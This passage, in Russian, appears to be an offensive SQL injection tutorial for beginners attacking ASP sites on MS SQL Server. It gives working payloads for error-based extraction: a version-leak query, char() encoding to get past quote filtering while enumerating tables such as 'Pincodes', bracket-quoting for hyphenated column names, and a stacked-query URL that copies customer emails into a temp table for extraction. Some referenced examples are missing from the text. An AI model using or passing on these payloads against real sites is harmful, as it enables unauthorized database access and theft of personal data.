Иногда я встречал инжект в post запросах, в скриптах поиска по сайту или в скрипте напоминании пароля. В этом случае на традиционный запрос 1’+or+1=@@version-- скрипт будет ругаться примерно так:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'. /inc/inc_customer.asp, line 103
ошибка возникает из за символа “+”, поэтому вот такой запрос:
1’ or 1=@@version--
в данном случае пройдет на ура и выдаст нам версию сервера.
Следующая проблема, которая вызывает массу вопросов у новичков, и которая в свое время тоже вогнала меня в ступор, это фильтрация кавычки. Она приводит к тому, что выполнив запрос:
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'Pincodes' to data type int.
мы не можем получить имя второй, и вместо нее видим ответ:
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'Pincodes'.
В данном случае проблема может быть решена с помощью функции char(int ascii), превратив имя таблицы Pincodes в char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2B char(111)%2Bchar(100)%2Bchar(101)%2B char(115) и передав эти данные серверу:
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'PRODUCT' to data type int.
Самое главное, что если зачарить название таблицы, необходимость в кавычках пропадает. Чарим следующее имя таблицы и добавляем его через запятую, и так перебираем таблицу за таблицей. То же самое и с перебором полей в таблице, чарим имя таблицы и имена полей.
Идем дальше. Иногда хитромудрые админы употребляют в названии полей таблиц “-“, чем затрудняют вывод информации. К примеру:
и в этом случае второе слово обрезается, что ставит некоторых новичков в тупик. Здесь проблема решается обрамлением квадратными кавычками такого названия:
И последнее. Иногда находишь таблицу с очень интересными данными, но вывод их становится сложной задачей, так как ничего подобного типа orderid нет и близко, как перебирать содержимое полей - непонятно. В этом случае лучшим решением будет создание новой таблицы с полем id и копированием в нее нужных нам данных:
http://www.target.com/dinamica.asp?ID=1;CREATE TABLE dbo.temp (Id int NOT NULL IDENTITY (1, 1), email varchar(255) NULL) ON [PRIMARY]; INSERT INTO temp (email) select email from orders;--